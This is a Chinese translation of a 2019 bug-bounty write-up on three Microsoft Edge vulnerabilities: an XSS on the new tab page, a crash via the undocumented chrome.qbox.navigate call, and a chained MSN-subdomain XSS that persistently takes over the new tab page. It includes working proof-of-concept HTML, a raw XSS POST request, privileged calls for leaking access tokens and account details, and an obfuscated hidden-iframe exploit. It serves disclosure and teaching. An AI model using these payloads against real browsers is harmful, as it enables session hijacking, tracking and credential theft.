这是白帽子(twitter:@spoofyroot)在2019年发布的一篇文章,完整介绍了这位师傅在挖掘Edge浏览器漏洞的思路、利用、组合。其中第三个漏洞的利用链的构造过程很有借鉴意义
前言:
Edge 浏览器是微软以 Chromium 为基础开发而来的一款浏览器产品, Chromium 是Google公司开发的一个开源浏览器项目,著名的 Chrome(谷歌浏览器)便是基于 Chromium 发展而来。
2019 年 8 月 20 日,微软旗下的 Edge 浏览器启动了一项漏洞奖励计划,规定只有 Edge 浏览器内微软自有的代码发现安全问题才能获取奖励,这意味着可用攻击面将被大大减小,而作为补偿,微软将提供双倍奖励金(相对于 EdgeHTML ),也就是说 Edge 浏览器里的一个漏洞赏金将会达到 30000 美元。
【译者注:Chromium 可以说是 Chrome 的前身,也被称为谷歌浏览器内核。其实前者相当于是实验版,后者相当于是正式发行版。EdgeHTML 是微软在 IE 浏览器上完善发展而来的一个新的浏览器内核,本来准备用在 Edge 浏览器上,后来放弃了,改用 Chromium 】
在这篇文章里,我将介绍我是如何在 Edge 浏览器发现的 3 个不同的漏洞获取到 40000 美元奖励。这是我在微软的这项漏洞奖励计划第一次通过漏洞,感觉就是很爽。
新标签页的XSS
新标签页就是当打开浏览器时显示的默认页面,这个默认页面是浏览器默认设置里的默认页面,而不是其他情况下例如自己设置的默认页面。Edge浏览器的默认页面与其他浏览器是有所区别的,是一个网站,地址是https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing
与此同时,Firefox 浏览器是一个内部的about:home
和 about:newtab
页面,Chrome 浏览器是一个离线的chrome-search://local-ntp/local-ntp.html
页面。这些区别是有必要探究的,因为在规定的漏洞奖励计划里只对微软自己写的代码出现安全问题才有效。
这个漏洞实在不经意间发现的,事实上,当我第一次打开 Edge 浏览器时根本没有想太多,直接就奔着 Edge 与 Chromium 的不同的地方去了,其中一个就是 Edge 新增的集锦功能。
集锦就像是一个功能更强大,丰富的书签。当添加一个网站进入集锦里,就会将该网页的标题,描述和一张图片进行精简展示,我做了一项尝试就是在保存的网页 title 里添加 HTML 标签,看这些 HTML 标签是否会在集锦里面进行渲染,测试后发现并没有。
找了一会没成果就去睡了,直到第二天早上当我打开Edge浏览器的时候进行新一轮尝试的时候,发现新标签页面的一些不同。
看到那个小小的,加粗的字母 ’a‘ 了吗?
因为是一个新的浏览器,任何被浏览过的网站都会变成我的最近浏览记录然后保存在新标签页快速链接区域并且这里未对标题进行处理。这个地方甚至可以执行 JS 代码,于是一个 XSS 的测试语句成功执行,以下是视频:
你可能想问这有什么值得惊喜的,或者说我在新标签页上拿到了一个 XSS 又怎样?事实上,新标签页是一个拥有高权限的页面,可以通过测试 Chromium 内核的浏览器内置的 Chrome 对象来验证。
下面这个验证图片将 Edge 中的普通网页和浏览器设置页中的 Chrome 对象所含有的方法进行对比:
很明显设置页面的 Chrome 对象包含更多的方法并且这些额外的高权限函数,而通过这个 XSS ,我们可以将 Javascript 从普通 Web 网页注入到更高特权的网页中,从而进行提权。那么接下来要做的就是如何使用这些特权造成更大危害。
权限提升到RCE
在知道通过 Chrome 对象可以调用高权限函数后,我尝试寻找其他 JavaScript 对象或者 Chrome 对象的其他方法来利用这个漏洞扩大危害。
最终发现了一个未被记录的对象chrome.qbox
,因为没有找到任何介绍这个对象详细信息的网站,于是推测这应该是微软自己写的一个新对象,但是它到底是什么呢?看这个视频:
视频里可以看到我发现chrome.qbox.navigate
是一个特别的函数,通过报错信息,发现这里需要填入qbox.NavigationItem
类型的参数。
几次尝试后,发现可以将一个内含 url 和 id 的 JSON 对象传入函数,至少得包括这俩键值才不会产生报错信息。chrome.qbox.navigate({ id:0, url:""})
本以为会产生什么弹窗或者出现新的窗口,但是什么都没有。在这之后,我开始在 url 和 id 的值上进行尝试,当测试到一下值时,终于出现了异常chrome.qbox.navigate({id:999999,url:null})
运行这条语句后,Edge 浏览器窗口消失了,之后查看系统错误日志后发现一下信息:
(69a4.723c): Access violation - code c0000005 (first/second chance not available)
ntdll!NtDelayExecution+0x14:
00007ffd`9fddc754 c3 ret
可能是一个近指针NULL
(near NULL),感觉没啥可以利用的。
【译者注:近指针NULL,与编译器和CPU相关。过去的编译器,针对指针有 far 和 near 的区别】
rax=000001ff5651ba80 rbx=000001ff5651ba80 rcx=000001ff5651ba80
rdx=3265727574786574 rsi=000001ff5651ba80 rdi=0000009eb9bfd4f0
rip=00007ffd17814b40 rsp=0000009eb9bfd300 rbp=000001ff4fec30a0
r8=000000000000008f r9=0000000000000040 r10=0000000000000080
r11=0000009eb9bfd290 r12=000000000000006f r13=0000009eb9bfda90
r14=0000009eb9bfd478 r15=00000094b5d14064
iopl=0 nv up ei pl nz na po nc
cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010206
msedge!ChromeMain+0x9253e:
00007ffd`17814b40 488b02 mov rax,qword ptr [rdx] ds:32657275`74786574=????????????????
Resetting default scope
FAULTING_IP:
msedge!ChromeMain+9253e
00007ffd`17814b40 488b02 mov rax,qword ptr [rdx]
EXCEPTION_RECORD: (.exr -1)
ExceptionAddress: 00007ffd17814b40 (msedge!ChromeMain+0x000000000009253e)
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 0000000000000000
Parameter[1]: ffffffffffffffff
Attempt to read from address ffffffffffffffff
DEFAULT_BUCKET_ID: INVALID_POINTER_READ
PROCESS_NAME: msedge.exe
不过好像让程序崩溃时可以利用的,但是由于并不擅长内存方面的漏洞,于是不得不又去读了 MDN【译者注:MDN是MDN Web Docs( MDN 网络文档)这个网站的简称,是一个汇集众多 Mozilla 基金会产品和网络技术开发文档的免费网站,其实就是一个放了很多技术文档的一个网站。】文档关于可利用程序崩溃方面的信息,之后再次对 qbox.navigate
函数进行测试,尝试找出利用崩溃的方法,以下是相关 POC(和利用程序崩溃达到其他目的不同,这个 POC 只能让浏览器运行崩溃):
<html>
<head>
<title>test<iframe/src=1/ onload=chrome.qbox.navigate(JSON.parse(unescape("%7B%22id%22%3A999999%2C%22url%22%3Anull%7D")))></title>
<body>
q
</body>
</html>
这两个漏洞最终被微软确认,XSS 漏洞给了 15000 美元,运行崩溃给了 10000 美元。所以准确来说我在 Edge 上已经发现了两个漏洞!
控制新标签页
在之前的漏洞中可以知道浏器网页内容的提供非常依赖于在 XSS 漏洞中发现的ntp.msn.com
网站。那么,为什么不将 ntp.msn.com
当作测试的目标呢?从上一个 XSS 漏洞可以知道,我只需要发现一个 XSS 漏洞就可以将其当作浏览器漏洞进行上报。
当浏览网站https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz
时,他看起来是很正常的新标签页,只是加载异常,这很正常,也很很重要。你看,正常的新标签页:https://ntp.msn.com/edge/ntp?locale=en&dsp=1&sp=Bing
好像通过某种特殊的缓存机制进行加载,因为它的源代码也与之前那个不一样。
然后尝试通过 Burp 发现https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz
网站的漏洞,最终发现如果设置一个名为 domainId 的 cookie , cookie 将会伴随 script 标签显示在页面上,因为没有对引号进行处理,所以可以通过这个 cookie 变量将代码注入。
不仅如此,更厉害的是我设置的cookie在给定主机的所有子域里都是可见的。所以我只需要在任意的MSN的子域里找出一个 XSS ,然后我就可以通过 XSS 设置 cookie 并且让 js 代码在刚刚的异常页面执行。一番操作后,在http://technology.za.msn.com
成功找到一个 XSS 漏洞,这个网站现在已经转移。很快便发现,可以通过发送一个构造的 POST 请求来让该网站产生错误消息,并且在此错误中,它显示了导致错误的未被处理变量值。
使用以下HTTP请求触发XSS:
POST /pebble.asp?relid=172 HTTP/1.1
Host: technology.za.msn.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 20
Origin: http://technology.za.msn.com
Connection: close
Referer: http://technology.za.msn.com/pebble.asp?relid=172
Cookie: PublisherUserProfile=userprofileid=322220CC%2D9964%2D47F9%2DAE30%2D2222258E99A4; PublisherSession=uid=DIN2DWDWDFWWW7L3OHA5N6; ASPSESSIONIDSCCQSRDS=EOJQQDDFGGGEEPCPNFOBL; _ga=GA1.q.21062224016.4569609491; _gid=GA1.q.1840897607.1569609491; _gat=1; __utma=2qq77qq6.21qqqq4016.156qqqq9491.156960qqq.qqqqqq91.1; __utmb=201977236.1.10.1569609491; __utmc=201977236; __utmz=201977236.1569609491.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1; __gads=ID=qqqq5dd817qqqb4:T=1562229492:S=ALNI_MZUnsEhqqqqjxzklxqqqqqJHo1A
Upgrade-Insecure-Requests: 1
startnum=90'<b>xss</b>
唯一的缺点是错误的服务器回应要花 42s 之后才会显示。有点不方便,不过好在能用。服务器回应后,我们可以发现'xss' 显示并且被浏览器渲染,将其替换为其他 XSS 语句则会引起 JavaScript 代码执行。还有一个好处是没有 X-FRAME-OPTIONS
标头,所以我可以在我自己的网站中使用 IFRAME
嵌入页面,并执行所需的 POST 请求,在隐藏的 IFRAME
上触发XSS,让潜在的受害者难以发现任何可疑行为。
然而,目前为止提起的这个 XSS 依然是针对那个异常的新标签页的,而不是有缓存机制的默认新标签页。之后发现正常的新标签页是用 localStorage
进行记录的,这并不影响,因为异常和正常的新标签页都是同源的,我可以访问 localStorage
记录然后添加 JavaScript 代码到缓存的 HTML 里并且执行,这下终于成功控制新标签页。
你可能想知道这有什么危害,因为这个新标签页是有高权限的页面,因此我们可以使用一些有趣的函数做很多有趣的事情,以下是我认为可以做的一些事情:
- 要求 Edge 用户使用其 Microsoft 帐户登录,新标签页将是进行此操作的最佳位置,因为用户信任它。
- 访问
chrome.authPrivate”“acquireAccessTokenSilently
这可能会泄漏用户的访问令牌并执行相应的操作。 - 使用
chrome.authPrivate.getPrimaryAccountInfo(e=>{console.dir(e)})
泄露私人用户信息,泄露电子邮件地址和帐号 - 诱骗用户使用
chrome.embeddedSearch.searchBox.paste(“file:///C://“)
(需要欺骗用户按enter键) -
使用
chrome.embeddedSearch.newTabPage.updateCustomLink(i,“http://www.g.com","http://www.g.com“)
(其中 i = 0 到 9999 循环)编辑首页里最近浏览过的网页记录- 更改用户可能使用
chrome.ntpSettingsPrivate.setPref
设置的任意新标签页的偏好
- 更改用户可能使用
-
对MSN内容的进行持续跟踪和伪造。鉴于此错误会导致对新标签页的持续接管,它可以用于跟踪用户活动(通过检查用户何时打开新标签页或访问保存的最近浏览站点),我们可以像现在许多恶意Web插件一样注入虚假广告
可能有些看起来有点夸张,但意思是这个意思。
总结一下整个攻击过程:
- 潜在受害者访问我们的恶意网站
- 恶意网站使用POST请求向
technology.za.msn
发送XSS payload。payload使用iframe标签进行隐藏。 -
IFRAME
在约42秒后加载,XSS payload在technology.za.msn.com
中触发 -
technology.za.msn.com
中的 XSS 使用包含domain=.msn.com
的指令创建一个包含我们的第二个payload的 Cookie,并命名为domainId
。 - 当
IFRAME
标签语句加载后,受害者浏览器被重定向到异常的新标签页面https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz
- 一旦加载了
https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz
,cookie “domainId”中的 XSS payload就会被显示并且渲染 - cookie 里的 XSSpayload 访问
localStorage
并在缓存的HTML代码的开头插入最终 payload 。
此时,新标签页面已被控制,当用户打开一个新选项卡时,最终payload将持续触发!随后向微软报告了这一情况,并因此获得了15000美元。
最终PoC和演示视频
在POC里之所以使用大量编码,是因为domainId
这个 cookie 变量的字符限制。
<html>
<head>
<body>
<iframe src="about:blank" id="qframe" name="msn" style="opacity:0.001"></iframe>
<h1>Loading...(ETA 42secs)</h2>
<form id="qform" target="msn" action="http://technology.za.msn.com/pebble.asp?relid=172" method="post">
<!--
Encoded payload (Executes in 'technology.za.msn.com')
---------------------------------------------------------------------
(qd = new Date()).setMonth(qd.getMonth() + 12);
document.cookie = "domainId=" +
('q"*'
+ unescape('%71%22%2a%66%75%6e%63%74%69%6f%6e%28%29%7b%66%6f%72%28%71%20%69%6e%20%6c%6f%63%61%6c%53%74%6f%72%61%67%65%29%7b%69%66%28%71%2e%69%6e%64%65%78%4f%66%28%27%6c%61%73%74%4b%6e%6f%77%6e%27%29%3e%2d%31%29%7b%77%69%74%68%28%71%6e%74%70%6f%62%6a%3d%4a%53%4f%4e%2e%70%61%72%73%65%28%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%29%29%7b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%3d%75%6e%65%73%63%61%70%65%28%27%25%33%63%25%35%33%25%37%36%25%34%37%25%32%66%25%34%66%25%36%65%25%34%63%25%36%66%25%34%31%25%36%34%25%33%64%25%32%37%25%36%34%25%36%66%25%36%33%25%37%35%25%36%64%25%36%35%25%36%65%25%37%34%25%32%65%25%37%37%25%37%32%25%36%39%25%37%34%25%36%35%25%32%38%25%32%66%25%34%30%25%37%31%25%36%31%25%36%32%25%32%66%25%32%65%25%37%33%25%36%66%25%37%35%25%37%32%25%36%33%25%36%35%25%32%39%25%32%37%25%33%65%27%29%2b%71%6e%74%70%6f%62%6a%2e%64%6f%6d%7d%77%69%74%68%28%71%61%62%3d%71%6e%74%70%6f%62%6a%29%7b%6c%6f%63%61%6c%53%74%6f%72%61%67%65%5b%71%5d%3d%4a%53%4f%4e%2e%73%74%72%69%6e%67%69%66%79%28%71%61%62%29%7d%7d%7d%7d%28%29%2a%22%71')
+ '*"q')
+ ";expires="
+ qd
+ ";domain=.msn.com;path=/";
---------------------------------------------------------------------
unescaped value above (Executes in broken 'ntp.msn.com'), this is all one line and im using with(){} a lot because semicolon not allowed.
---------------------------------------------------------------------
function() {
for (q in localStorage) {
if (q.indexOf('lastKnown') > -1) {
with(qntpobj = JSON.parse(localStorage[q])) {
qntpobj.dom = unescape('%3c%53%76%47%2f%4f%6e%4c%6f%41%64%3d%27%64%6f%63%75%6d%65%6e%74%2e%77%72%69%74%65%28%2f%40%71%61%62%2f%2e%73%6f%75%72%63%65%29%27%3e') + qntpobj.dom
}
with(qab = qntpobj) {
localStorage[q] = JSON.stringify(qab)
}
}
}
}()
---------------------------------------------------------------------
unescaped value above (Executes in normal 'ntp.msn.com')
---------------------------------------------------------------------
<SvG/OnLoAd='document.write(/@qab/.source)'>
-->
<input type="hidden" name="startnum" value="90'<SvG/onLoAd=eval(unescape('%28%71%64%3d%20%6e%65%77%20%44%61%74%65%28%29%29%2e%73%65%74%4d%6f%6e%74%68%28%71%64%2e%67%65%74%4d%6f%6e%74%68%28%29%20%2b%20%31%32%29%3b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3d%22%64%6f%6d%61%69%6e%49%64%3d%22%2b%28%75%6e%65%73%63%61%70%65%28%27%25%37%31%25%32%32%25%32%61%25%36%36%25%37%35%25%36%65%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%32%38%25%32%39%25%37%62%25%36%36%25%36%66%25%37%32%25%32%38%25%37%31%25%32%30%25%36%39%25%36%65%25%32%30%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%32%39%25%37%62%25%36%39%25%36%36%25%32%38%25%37%31%25%32%65%25%36%39%25%36%65%25%36%34%25%36%35%25%37%38%25%34%66%25%36%36%25%32%38%25%32%37%25%36%63%25%36%31%25%37%33%25%37%34%25%34%62%25%36%65%25%36%66%25%37%37%25%36%65%25%32%37%25%32%39%25%33%65%25%32%64%25%33%31%25%32%39%25%37%62%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%30%25%36%31%25%37%32%25%37%33%25%36%35%25%32%38%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%32%39%25%32%39%25%37%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%33%64%25%37%35%25%36%65%25%36%35%25%37%33%25%36%33%25%36%31%25%37%30%25%36%35%25%32%38%25%32%37%25%32%35%25%33%33%25%36%33%25%32%35%25%33%35%25%33%33%25%32%35%25%33%37%25%33%36%25%32%35%25%33%34%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%34%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%34%25%33%31%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%37%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%38%25%32%35%25%33%32%25%36%36%25%32%35%25%33%34%25%33%30%25%32%35%25%33%37%25%33%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%33%39%25%32%35%25%33%32%25%33%37%25%32%35%25%33%33%25%36%35%25%32%37%25%32%39%25%32%62%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%65%25%36%34%25%36%66%25%36%64%25%37%64%25%37%37%25%36%39%25%37%34%25%36%38%25%32%38%25%37%31%25%36%31%25%36%32%25%33%64%25%37%31%25%36%65%25%37%34%25%37%30%25%36%66%25%36%32%25%36%61%25%32%39%25%37%62%25%36%63%25%36%66%25%36%33%25%36%31%25%36%63%25%35%33%25%37%34%25%36%66%25%37%32%25%36%31%25%36%37%25%36%35%25%35%62%25%37%31%25%35%64%25%33%64%25%34%61%25%35%33%25%34%66%25%34%65%25%32%65%25%37%33%25%37%34%25%37%32%25%36%39%25%36%65%25%36%37%25%36%39%25%36%36%25%37%39%25%32%38%25%37%31%25%36%31%25%36%32%25%32%39%25%37%64%25%37%64%25%37%64%25%37%64%25%32%38%25%32%39%25%32%61%25%32%32%25%37%31%27%29%29%2b%22%3b%65%78%70%69%72%65%73%3d%22%2b%71%64%2b%22%3b%64%6f%6d%61%69%6e%3d%2e%6d%73%6e%2e%63%6f%6d%3b%70%61%74%68%3d%2f%22%3b'))">
</form>
<script>
qframe.onload=e=>{
setTimeout(function(){
location="https://ntp.msn.com/compass/antp?locale=qab&dsp=1&sp=qabzz";
},1000)
}
qform.submit();
</script>
</body>
</html>
视频里时完整攻击过程,可以略过中间的42s:
视频链接:
NTP-XSS-FULL.MP4